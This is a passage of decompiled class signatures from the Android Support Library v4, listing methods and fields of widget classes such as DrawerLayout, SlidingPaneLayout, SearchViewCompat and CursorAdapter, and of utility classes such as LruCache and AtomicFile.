    public void setCoveredFadeColor(int);
    public int getCoveredFadeColor();
    public void setPanelSlideListener(SlidingPaneLayout$PanelSlideListener);
    void dispatchOnPanelSlide(android.view.View);
    void dispatchOnPanelOpened(android.view.View);
    void dispatchOnPanelClosed(android.view.View);
    void updateObscuredViewsVisibility(android.view.View);
    void setAllChildrenVisible();
    private static boolean hasOpaqueBackground(android.view.View);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    protected void onSizeChanged(int, int, int, int);
    public void requestChildFocus(android.view.View, android.view.View);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    private boolean closePane(android.view.View, int);
    private boolean openPane(android.view.View, int);
    public void smoothSlideOpen();
    public boolean openPane();
    public void smoothSlideClosed();
    public boolean closePane();
    public boolean isOpen();
    public boolean canSlide();
    public boolean isSlideable();
    private void onPanelDragged(int);
    private void dimChildView(android.view.View, float, int);
    protected boolean drawChild(android.graphics.Canvas, android.view.View, long);
    private void invalidateChildRegion(android.view.View);
    boolean smoothSlideTo(float, int);
    public void computeScroll();
    public void setShadowDrawable(android.graphics.drawable.Drawable);
    public void setShadowResource(int);
    public void draw(android.graphics.Canvas);
    private void parallaxOtherViews(float);
    protected boolean canScroll(android.view.View, boolean, int, int, int);
    boolean isDimmed(android.view.View);
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    protected android.os.Parcelable onSaveInstanceState();
    protected void onRestoreInstanceState(android.os.Parcelable);
    static void <clinit>();
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatImpl.class


package android.support.v4.widget;
abstract interface SearchViewCompat$SearchViewCompatImpl {
    public abstract android.view.View newSearchView(android.content.Context);
    public abstract void setSearchableInfo(android.view.View, android.content.ComponentName);
    public abstract void setImeOptions(android.view.View, int);
    public abstract void setInputType(android.view.View, int);
    public abstract Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public abstract void setOnQueryTextListener(Object, Object);
    public abstract Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public abstract void setOnCloseListener(Object, Object);
    public abstract CharSequence getQuery(android.view.View);
    public abstract void setQuery(android.view.View, CharSequence, boolean);
    public abstract void setQueryHint(android.view.View, CharSequence);
    public abstract void setIconified(android.view.View, boolean);
    public abstract boolean isIconified(android.view.View);
    public abstract void setSubmitButtonEnabled(android.view.View, boolean);
    public abstract boolean isSubmitButtonEnabled(android.view.View);
    public abstract void setQueryRefinementEnabled(android.view.View, boolean);
    public abstract boolean isQueryRefinementEnabled(android.view.View);
    public abstract void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/EdgeEffectCompat$EdgeEffectImpl.class


package android.support.v4.widget;
abstract interface EdgeEffectCompat$EdgeEffectImpl {
    public abstract Object newEdgeEffect(android.content.Context);
    public abstract void setSize(Object, int, int);
    public abstract boolean isFinished(Object);
    public abstract void finish(Object);
    public abstract boolean onPull(Object, float);
    public abstract boolean onRelease(Object);
    public abstract boolean onAbsorb(Object, int);
    public abstract boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/ViewDragHelper$2.class


package android.support.v4.widget;
synchronized class ViewDragHelper$2 implements Runnable {
    void ViewDragHelper$2(ViewDragHelper);
    public void run();
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImpl.class


package android.support.v4.widget;
abstract interface SlidingPaneLayout$SlidingPanelLayoutImpl {
    public abstract void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/SlidingPaneLayout$AccessibilityDelegate.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$AccessibilityDelegate extends android.support.v4.view.AccessibilityDelegateCompat {
    private final android.graphics.Rect mTmpRect;
    void SlidingPaneLayout$AccessibilityDelegate(SlidingPaneLayout);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean filter(android.view.View);
    private void copyNodeInfoNoChildren(android.support.v4.view.accessibility.AccessibilityNodeInfoCompat, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
}










android/support/v4/widget/DrawerLayout$ViewDragCallback.class


package android.support.v4.widget;
synchronized class DrawerLayout$ViewDragCallback extends ViewDragHelper$Callback {
    private final int mGravity;
    private ViewDragHelper mDragger;
    private final Runnable mPeekRunnable;
    public void DrawerLayout$ViewDragCallback(DrawerLayout, int);
    public void setDragger(ViewDragHelper);
    public void removeCallbacks();
    public boolean tryCaptureView(android.view.View, int);
    public void onViewDragStateChanged(int);
    public void onViewPositionChanged(android.view.View, int, int, int, int);
    public void onViewCaptured(android.view.View, int);
    private void closeOtherDrawer();
    public void onViewReleased(android.view.View, float, float);
    public void onEdgeTouched(int, int);
    private void peekDrawer();
    public boolean onEdgeLock(int);
    public void onEdgeDragStarted(int, int);
    public int getViewHorizontalDragRange(android.view.View);
    public int clampViewPositionHorizontal(android.view.View, int, int);
    public int clampViewPositionVertical(android.view.View, int, int);
}










android/support/v4/widget/EdgeEffectCompat.class


package android.support.v4.widget;
public synchronized class EdgeEffectCompat {
    private Object mEdgeEffect;
    private static final EdgeEffectCompat$EdgeEffectImpl IMPL;
    public void EdgeEffectCompat(android.content.Context);
    public void setSize(int, int);
    public boolean isFinished();
    public void finish();
    public boolean onPull(float);
    public boolean onRelease();
    public boolean onAbsorb(int);
    public boolean draw(android.graphics.Canvas);
    static void <clinit>();
}










android/support/v4/widget/EdgeEffectCompat$EdgeEffectIcsImpl.class


package android.support.v4.widget;
synchronized class EdgeEffectCompat$EdgeEffectIcsImpl implements EdgeEffectCompat$EdgeEffectImpl {
    void EdgeEffectCompat$EdgeEffectIcsImpl();
    public Object newEdgeEffect(android.content.Context);
    public void setSize(Object, int, int);
    public boolean isFinished(Object);
    public void finish(Object);
    public boolean onPull(Object, float);
    public boolean onRelease(Object);
    public boolean onAbsorb(Object, int);
    public boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/ResourceCursorAdapter.class


package android.support.v4.widget;
public abstract synchronized class ResourceCursorAdapter extends CursorAdapter {
    private int mLayout;
    private int mDropDownLayout;
    private android.view.LayoutInflater mInflater;
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor);
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, boolean);
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, int);
    public android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public android.view.View newDropDownView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public void setViewResource(int);
    public void setDropDownViewResource(int);
}










android/support/v4/widget/SlidingPaneLayout$SimplePanelSlideListener.class


package android.support.v4.widget;
public synchronized class SlidingPaneLayout$SimplePanelSlideListener implements SlidingPaneLayout$PanelSlideListener {
    public void SlidingPaneLayout$SimplePanelSlideListener();
    public void onPanelSlide(android.view.View, float);
    public void onPanelOpened(android.view.View);
    public void onPanelClosed(android.view.View);
}










android/support/v4/widget/ScrollerCompatIcs.class


package android.support.v4.widget;
synchronized class ScrollerCompatIcs {
    void ScrollerCompatIcs();
    public static float getCurrVelocity(Object);
}










android/support/v4/widget/DrawerLayout$ViewDragCallback$1.class


package android.support.v4.widget;
synchronized class DrawerLayout$ViewDragCallback$1 implements Runnable {
    void DrawerLayout$ViewDragCallback$1(DrawerLayout$ViewDragCallback);
    public void run();
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImpl.class


package android.support.v4.widget;
abstract interface ScrollerCompat$ScrollerCompatImpl {
    public abstract Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public abstract boolean isFinished(Object);
    public abstract int getCurrX(Object);
    public abstract int getCurrY(Object);
    public abstract float getCurrVelocity(Object);
    public abstract boolean computeScrollOffset(Object);
    public abstract void startScroll(Object, int, int, int, int);
    public abstract void startScroll(Object, int, int, int, int, int);
    public abstract void fling(Object, int, int, int, int, int, int, int, int);
    public abstract void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public abstract void abortAnimation(Object);
    public abstract void notifyHorizontalEdgeReached(Object, int, int, int);
    public abstract void notifyVerticalEdgeReached(Object, int, int, int);
    public abstract boolean isOverScrolled(Object);
    public abstract int getFinalX(Object);
    public abstract int getFinalY(Object);
}










android/support/v4/widget/ScrollerCompatGingerbread.class


package android.support.v4.widget;
synchronized class ScrollerCompatGingerbread {
    void ScrollerCompatGingerbread();
    public static Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public static boolean isFinished(Object);
    public static int getCurrX(Object);
    public static int getCurrY(Object);
    public static boolean computeScrollOffset(Object);
    public static void startScroll(Object, int, int, int, int);
    public static void startScroll(Object, int, int, int, int, int);
    public static void fling(Object, int, int, int, int, int, int, int, int);
    public static void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public static void abortAnimation(Object);
    public static void notifyHorizontalEdgeReached(Object, int, int, int);
    public static void notifyVerticalEdgeReached(Object, int, int, int);
    public static boolean isOverScrolled(Object);
    public static int getFinalX(Object);
    public static int getFinalY(Object);
}










android/support/v4/widget/DrawerLayout.class


package android.support.v4.widget;
public synchronized class DrawerLayout extends android.view.ViewGroup {
    private static final String TAG = DrawerLayout;
    public static final int STATE_IDLE = 0;
    public static final int STATE_DRAGGING = 1;
    public static final int STATE_SETTLING = 2;
    public static final int LOCK_MODE_UNLOCKED = 0;
    public static final int LOCK_MODE_LOCKED_CLOSED = 1;
    public static final int LOCK_MODE_LOCKED_OPEN = 2;
    private static final int MIN_DRAWER_MARGIN = 64;
    private static final int DEFAULT_SCRIM_COLOR = -1728053248;
    private static final int PEEK_DELAY = 160;
    private static final int MIN_FLING_VELOCITY = 400;
    private static final boolean ALLOW_EDGE_LOCK = 0;
    private static final int[] LAYOUT_ATTRS;
    private int mMinDrawerMargin;
    private int mScrimColor;
    private float mScrimOpacity;
    private android.graphics.Paint mScrimPaint;
    private final ViewDragHelper mLeftDragger;
    private final ViewDragHelper mRightDragger;
    private final DrawerLayout$ViewDragCallback mLeftCallback;
    private final DrawerLayout$ViewDragCallback mRightCallback;
    private int mDrawerState;
    private boolean mInLayout;
    private boolean mFirstLayout;
    private int mLockModeLeft;
    private int mLockModeRight;
    private boolean mDisallowInterceptRequested;
    private boolean mChildrenCanceledTouch;
    private DrawerLayout$DrawerListener mListener;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private android.graphics.drawable.Drawable mShadowLeft;
    private android.graphics.drawable.Drawable mShadowRight;
    public void DrawerLayout(android.content.Context);
    public void DrawerLayout(android.content.Context, android.util.AttributeSet);
    public void DrawerLayout(android.content.Context, android.util.AttributeSet, int);
    public void setDrawerShadow(android.graphics.drawable.Drawable, int);
    public void setDrawerShadow(int, int);
    public void setScrimColor(int);
    public void setDrawerListener(DrawerLayout$DrawerListener);
    public void setDrawerLockMode(int);
    public void setDrawerLockMode(int, int);
    public void setDrawerLockMode(int, android.view.View);
    public int getDrawerLockMode(int);
    public int getDrawerLockMode(android.view.View);
    void updateDrawerState(int, int, android.view.View);
    void dispatchOnDrawerClosed(android.view.View);
    void dispatchOnDrawerOpened(android.view.View);
    void dispatchOnDrawerSlide(android.view.View, float);
    void setDrawerViewOffset(android.view.View, float);
    float getDrawerViewOffset(android.view.View);
    int getDrawerViewGravity(android.view.View);
    boolean checkDrawerViewGravity(android.view.View, int);
    android.view.View findOpenDrawer();
    void moveDrawerToOffset(android.view.View, float);
    android.view.View findDrawerWithGravity(int);
    static String gravityToString(int);
    protected void onDetachedFromWindow();
    protected void onAttachedToWindow();
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    public void requestLayout();
    public void computeScroll();
    private static boolean hasOpaqueBackground(android.view.View);
    protected boolean drawChild(android.graphics.Canvas, android.view.View, long);
    boolean isContentView(android.view.View);
    boolean isDrawerView(android.view.View);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    public void requestDisallowInterceptTouchEvent(boolean);
    public void closeDrawers();
    void closeDrawers(boolean);
    public void openDrawer(android.view.View);
    public void openDrawer(int);
    public void closeDrawer(android.view.View);
    public void closeDrawer(int);
    public boolean isDrawerOpen(android.view.View);
    public boolean isDrawerOpen(int);
    public boolean isDrawerVisible(android.view.View);
    public boolean isDrawerVisible(int);
    private boolean hasPeekingDrawer();
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    private boolean hasVisibleDrawer();
    private android.view.View findVisibleDrawer();
    void cancelChildViewTouch();
    public boolean onKeyDown(int, android.view.KeyEvent);
    public boolean onKeyUp(int, android.view.KeyEvent);
    protected void onRestoreInstanceState(android.os.Parcelable);
    protected android.os.Parcelable onSaveInstanceState();
    static void <clinit>();
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImplJBMR1.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SlidingPanelLayoutImplJBMR1 extends SlidingPaneLayout$SlidingPanelLayoutImplBase {
    void SlidingPaneLayout$SlidingPanelLayoutImplJBMR1();
    public void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/ScrollerCompat.class


package android.support.v4.widget;
public synchronized class ScrollerCompat {
    Object mScroller;
    static final ScrollerCompat$ScrollerCompatImpl IMPL;
    public static ScrollerCompat create(android.content.Context);
    public static ScrollerCompat create(android.content.Context, android.view.animation.Interpolator);
    void ScrollerCompat(android.content.Context, android.view.animation.Interpolator);
    public boolean isFinished();
    public int getCurrX();
    public int getCurrY();
    public int getFinalX();
    public int getFinalY();
    public float getCurrVelocity();
    public boolean computeScrollOffset();
    public void startScroll(int, int, int, int);
    public void startScroll(int, int, int, int, int);
    public void fling(int, int, int, int, int, int, int, int);
    public void fling(int, int, int, int, int, int, int, int, int, int);
    public void abortAnimation();
    public void notifyHorizontalEdgeReached(int, int, int);
    public void notifyVerticalEdgeReached(int, int, int);
    public boolean isOverScrolled();
    static void <clinit>();
}










android/support/v4/widget/SearchViewCompatHoneycomb$1.class


package android.support.v4.widget;
final synchronized class SearchViewCompatHoneycomb$1 implements android.widget.SearchView$OnQueryTextListener {
    void SearchViewCompatHoneycomb$1(SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge);
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/SearchViewCompatHoneycomb$2.class


package android.support.v4.widget;
final synchronized class SearchViewCompatHoneycomb$2 implements android.widget.SearchView$OnCloseListener {
    void SearchViewCompatHoneycomb$2(SearchViewCompatHoneycomb$OnCloseListenerCompatBridge);
    public boolean onClose();
}










android/support/v4/widget/SearchViewCompatIcs.class


package android.support.v4.widget;
synchronized class SearchViewCompatIcs {
    void SearchViewCompatIcs();
    public static android.view.View newSearchView(android.content.Context);
    public static void setImeOptions(android.view.View, int);
    public static void setInputType(android.view.View, int);
}










android/support/v4/widget/DrawerLayout$AccessibilityDelegate.class


package android.support.v4.widget;
synchronized class DrawerLayout$AccessibilityDelegate extends android.support.v4.view.AccessibilityDelegateCompat {
    private final android.graphics.Rect mTmpRect;
    void DrawerLayout$AccessibilityDelegate(DrawerLayout);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean filter(android.view.View);
    private void copyNodeInfoNoChildren(android.support.v4.view.accessibility.AccessibilityNodeInfoCompat, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
}










android/support/v4/widget/SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge.class


package android.support.v4.widget;
abstract interface SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge {
    public abstract boolean onQueryTextSubmit(String);
    public abstract boolean onQueryTextChange(String);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplGingerbread.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplGingerbread implements ScrollerCompat$ScrollerCompatImpl {
    void ScrollerCompat$ScrollerCompatImplGingerbread();
    public Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public boolean isFinished(Object);
    public int getCurrX(Object);
    public int getCurrY(Object);
    public float getCurrVelocity(Object);
    public boolean computeScrollOffset(Object);
    public void startScroll(Object, int, int, int, int);
    public void startScroll(Object, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public void abortAnimation(Object);
    public void notifyHorizontalEdgeReached(Object, int, int, int);
    public void notifyVerticalEdgeReached(Object, int, int, int);
    public boolean isOverScrolled(Object);
    public int getFinalX(Object);
    public int getFinalY(Object);
}










android/support/v4/widget/SlidingPaneLayout$LayoutParams.class


package android.support.v4.widget;
public synchronized class SlidingPaneLayout$LayoutParams extends android.view.ViewGroup$MarginLayoutParams {
    private static final int[] ATTRS;
    public float weight;
    boolean slideable;
    boolean dimWhenOffset;
    android.graphics.Paint dimPaint;
    public void SlidingPaneLayout$LayoutParams();
    public void SlidingPaneLayout$LayoutParams(int, int);
    public void SlidingPaneLayout$LayoutParams(android.view.ViewGroup$LayoutParams);
    public void SlidingPaneLayout$LayoutParams(android.view.ViewGroup$MarginLayoutParams);
    public void SlidingPaneLayout$LayoutParams(SlidingPaneLayout$LayoutParams);
    public void SlidingPaneLayout$LayoutParams(android.content.Context, android.util.AttributeSet);
    static void <clinit>();
}










android/support/v4/widget/DrawerLayout$SavedState.class


package android.support.v4.widget;
public synchronized class DrawerLayout$SavedState extends android.view.View$BaseSavedState {
    int openDrawerGravity;
    int lockModeLeft;
    int lockModeRight;
    public static final android.os.Parcelable$Creator CREATOR;
    public void DrawerLayout$SavedState(android.os.Parcel);
    public void DrawerLayout$SavedState(android.os.Parcelable);
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/widget/SlidingPaneLayout$PanelSlideListener.class


package android.support.v4.widget;
public abstract interface SlidingPaneLayout$PanelSlideListener {
    public abstract void onPanelSlide(android.view.View, float);
    public abstract void onPanelOpened(android.view.View);
    public abstract void onPanelClosed(android.view.View);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl$1.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl$1 implements SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge {
    void SearchViewCompat$SearchViewCompatHoneycombImpl$1(SearchViewCompat$SearchViewCompatHoneycombImpl, SearchViewCompat$OnQueryTextListenerCompat);
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/SearchViewCompatHoneycomb.class


package android.support.v4.widget;
synchronized class SearchViewCompatHoneycomb {
    void SearchViewCompatHoneycomb();
    public static android.view.View newSearchView(android.content.Context);
    public static void setSearchableInfo(android.view.View, android.content.ComponentName);
    public static Object newOnQueryTextListener(SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge);
    public static void setOnQueryTextListener(Object, Object);
    public static Object newOnCloseListener(SearchViewCompatHoneycomb$OnCloseListenerCompatBridge);
    public static void setOnCloseListener(Object, Object);
    public static CharSequence getQuery(android.view.View);
    public static void setQuery(android.view.View, CharSequence, boolean);
    public static void setQueryHint(android.view.View, CharSequence);
    public static void setIconified(android.view.View, boolean);
    public static boolean isIconified(android.view.View);
    public static void setSubmitButtonEnabled(android.view.View, boolean);
    public static boolean isSubmitButtonEnabled(android.view.View);
    public static void setQueryRefinementEnabled(android.view.View, boolean);
    public static boolean isQueryRefinementEnabled(android.view.View);
    public static void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/CursorAdapter$MyDataSetObserver.class


package android.support.v4.widget;
synchronized class CursorAdapter$MyDataSetObserver extends android.database.DataSetObserver {
    private void CursorAdapter$MyDataSetObserver(CursorAdapter);
    public void onChanged();
    public void onInvalidated();
}










android/support/v4/widget/EdgeEffectCompat$BaseEdgeEffectImpl.class


package android.support.v4.widget;
synchronized class EdgeEffectCompat$BaseEdgeEffectImpl implements EdgeEffectCompat$EdgeEffectImpl {
    void EdgeEffectCompat$BaseEdgeEffectImpl();
    public Object newEdgeEffect(android.content.Context);
    public void setSize(Object, int, int);
    public boolean isFinished(Object);
    public void finish(Object);
    public boolean onPull(Object, float);
    public boolean onRelease(Object);
    public boolean onAbsorb(Object, int);
    public boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/DrawerLayout$SavedState$1.class


package android.support.v4.widget;
final synchronized class DrawerLayout$SavedState$1 implements android.os.Parcelable$Creator {
    void DrawerLayout$SavedState$1();
    public DrawerLayout$SavedState createFromParcel(android.os.Parcel);
    public DrawerLayout$SavedState[] newArray(int);
}










android/support/v4/widget/CursorFilter$CursorFilterClient.class


package android.support.v4.widget;
abstract interface CursorFilter$CursorFilterClient {
    public abstract CharSequence convertToString(android.database.Cursor);
    public abstract android.database.Cursor runQueryOnBackgroundThread(CharSequence);
    public abstract android.database.Cursor getCursor();
    public abstract void changeCursor(android.database.Cursor);
}










android/support/v4/widget/EdgeEffectCompatIcs.class


package android.support.v4.widget;
synchronized class EdgeEffectCompatIcs {
    void EdgeEffectCompatIcs();
    public static Object newEdgeEffect(android.content.Context);
    public static void setSize(Object, int, int);
    public static boolean isFinished(Object);
    public static void finish(Object);
    public static boolean onPull(Object, float);
    public static boolean onRelease(Object);
    public static boolean onAbsorb(Object, int);
    public static boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImplJB.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SlidingPanelLayoutImplJB extends SlidingPaneLayout$SlidingPanelLayoutImplBase {
    private reflect.Method mGetDisplayList;
    private reflect.Field mRecreateDisplayList;
    void SlidingPaneLayout$SlidingPanelLayoutImplJB();
    public void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatStubImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatStubImpl implements SearchViewCompat$SearchViewCompatImpl {
    void SearchViewCompat$SearchViewCompatStubImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setSearchableInfo(android.view.View, android.content.ComponentName);
    public void setImeOptions(android.view.View, int);
    public void setInputType(android.view.View, int);
    public Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public void setOnQueryTextListener(Object, Object);
    public Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public void setOnCloseListener(Object, Object);
    public CharSequence getQuery(android.view.View);
    public void setQuery(android.view.View, CharSequence, boolean);
    public void setQueryHint(android.view.View, CharSequence);
    public void setIconified(android.view.View, boolean);
    public boolean isIconified(android.view.View);
    public void setSubmitButtonEnabled(android.view.View, boolean);
    public boolean isSubmitButtonEnabled(android.view.View);
    public void setQueryRefinementEnabled(android.view.View, boolean);
    public boolean isQueryRefinementEnabled(android.view.View);
    public void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/CursorAdapter$1.class


package android.support.v4.widget;
synchronized class CursorAdapter$1 {
}










android/support/v4/widget/SearchViewCompatIcs$MySearchView.class


package android.support.v4.widget;
public synchronized class SearchViewCompatIcs$MySearchView extends android.widget.SearchView {
    public void SearchViewCompatIcs$MySearchView(android.content.Context);
    public void onActionViewCollapsed();
}










android/support/v4/widget/CursorFilter.class


package android.support.v4.widget;
synchronized class CursorFilter extends android.widget.Filter {
    CursorFilter$CursorFilterClient mClient;
    void CursorFilter(CursorFilter$CursorFilterClient);
    public CharSequence convertResultToString(Object);
    protected android.widget.Filter$FilterResults performFiltering(CharSequence);
    protected void publishResults(CharSequence, android.widget.Filter$FilterResults);
}










android/support/v4/widget/SearchViewCompat.class


package android.support.v4.widget;
public synchronized class SearchViewCompat {
    private static final SearchViewCompat$SearchViewCompatImpl IMPL;
    private void SearchViewCompat(android.content.Context);
    public static android.view.View newSearchView(android.content.Context);
    public static void setSearchableInfo(android.view.View, android.content.ComponentName);
    public static void setImeOptions(android.view.View, int);
    public static void setInputType(android.view.View, int);
    public static void setOnQueryTextListener(android.view.View, SearchViewCompat$OnQueryTextListenerCompat);
    public static void setOnCloseListener(android.view.View, SearchViewCompat$OnCloseListenerCompat);
    public static CharSequence getQuery(android.view.View);
    public static void setQuery(android.view.View, CharSequence, boolean);
    public static void setQueryHint(android.view.View, CharSequence);
    public static void setIconified(android.view.View, boolean);
    public static boolean isIconified(android.view.View);
    public static void setSubmitButtonEnabled(android.view.View, boolean);
    public static boolean isSubmitButtonEnabled(android.view.View);
    public static void setQueryRefinementEnabled(android.view.View, boolean);
    public static boolean isQueryRefinementEnabled(android.view.View);
    public static void setMaxWidth(android.view.View, int);
    static void <clinit>();
}










android/support/v4/widget/CursorAdapter.class


package android.support.v4.widget;
public abstract synchronized class CursorAdapter extends android.widget.BaseAdapter implements android.widget.Filterable, CursorFilter$CursorFilterClient {
    protected boolean mDataValid;
    protected boolean mAutoRequery;
    protected android.database.Cursor mCursor;
    protected android.content.Context mContext;
    protected int mRowIDColumn;
    protected CursorAdapter$ChangeObserver mChangeObserver;
    protected android.database.DataSetObserver mDataSetObserver;
    protected CursorFilter mCursorFilter;
    protected android.widget.FilterQueryProvider mFilterQueryProvider;
    public static final int FLAG_AUTO_REQUERY = 1;
    public static final int FLAG_REGISTER_CONTENT_OBSERVER = 2;
    public void CursorAdapter(android.content.Context, android.database.Cursor);
    public void CursorAdapter(android.content.Context, android.database.Cursor, boolean);
    public void CursorAdapter(android.content.Context, android.database.Cursor, int);
    protected void init(android.content.Context, android.database.Cursor, boolean);
    void init(android.content.Context, android.database.Cursor, int);
    public android.database.Cursor getCursor();
    public int getCount();
    public Object getItem(int);
    public long getItemId(int);
    public boolean hasStableIds();
    public android.view.View getView(int, android.view.View, android.view.ViewGroup);
    public android.view.View getDropDownView(int, android.view.View, android.view.ViewGroup);
    public abstract android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public android.view.View newDropDownView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public abstract void bindView(android.view.View, android.content.Context, android.database.Cursor);
    public void changeCursor(android.database.Cursor);
    public android.database.Cursor swapCursor(android.database.Cursor);
    public CharSequence convertToString(android.database.Cursor);
    public android.database.Cursor runQueryOnBackgroundThread(CharSequence);
    public android.widget.Filter getFilter();
    public android.widget.FilterQueryProvider getFilterQueryProvider();
    public void setFilterQueryProvider(android.widget.FilterQueryProvider);
    protected void onContentChanged();
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplIcs.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplIcs extends ScrollerCompat$ScrollerCompatImplGingerbread {
    void ScrollerCompat$ScrollerCompatImplIcs();
    public float getCurrVelocity(Object);
}










android/support/v4/util/TimeUtils.class


package android.support.v4.util;
public synchronized class TimeUtils {
    public static final int HUNDRED_DAY_FIELD_LEN = 19;
    private static final int SECONDS_PER_MINUTE = 60;
    private static final int SECONDS_PER_HOUR = 3600;
    private static final int SECONDS_PER_DAY = 86400;
    private static final Object sFormatSync;
    private static char[] sFormatStr;
    public void TimeUtils();
    private static int accumField(int, int, boolean, int);
    private static int printField(char[], int, char, int, boolean, int);
    private static int formatDurationLocked(long, int);
    public static void formatDuration(long, StringBuilder);
    public static void formatDuration(long, java.io.PrintWriter, int);
    public static void formatDuration(long, java.io.PrintWriter);
    public static void formatDuration(long, long, java.io.PrintWriter);
    static void <clinit>();
}










android/support/v4/util/LongSparseArray.class


package android.support.v4.util;
public synchronized class LongSparseArray implements Cloneable {
    private static final Object DELETED;
    private boolean mGarbage;
    private long[] mKeys;
    private Object[] mValues;
    private int mSize;
    public void LongSparseArray();
    public void LongSparseArray(int);
    public LongSparseArray clone();
    public Object get(long);
    public Object get(long, Object);
    public void delete(long);
    public void remove(long);
    public void removeAt(int);
    private void gc();
    public void put(long, Object);
    public int size();
    public long keyAt(int);
    public Object valueAt(int);
    public void setValueAt(int, Object);
    public int indexOfKey(long);
    public int indexOfValue(Object);
    public void clear();
    public void append(long, Object);
    private static int binarySearch(long[], int, int, long);
    public static int idealByteArraySize(int);
    public static int idealLongArraySize(int);
    static void <clinit>();
}










android/support/v4/util/DebugUtils.class


package android.support.v4.util;
public synchronized class DebugUtils {
    public void DebugUtils();
    public static void buildShortClassTag(Object, StringBuilder);
}










android/support/v4/util/AtomicFile.class


package android.support.v4.util;
public synchronized class AtomicFile {
    private final java.io.File mBaseName;
    private final java.io.File mBackupName;
    public void AtomicFile(java.io.File);
    public java.io.File getBaseFile();
    public void delete();
    public java.io.FileOutputStream startWrite() throws java.io.IOException;
    public void finishWrite(java.io.FileOutputStream);
    public void failWrite(java.io.FileOutputStream);
    public java.io.FileInputStream openRead() throws java.io.FileNotFoundException;
    public byte[] readFully() throws java.io.IOException;
    static boolean sync(java.io.FileOutputStream);
}










android/support/v4/util/LruCache.class


package android.support.v4.util;
public synchronized class LruCache {
    private final java.util.LinkedHashMap map;
    private int size;
    private int maxSize;
    private int putCount;
    private int createCount;
    private int evictionCount;
    private int hitCount;
    private int missCount;
    public void LruCache(int);
    public final Object get(Object);
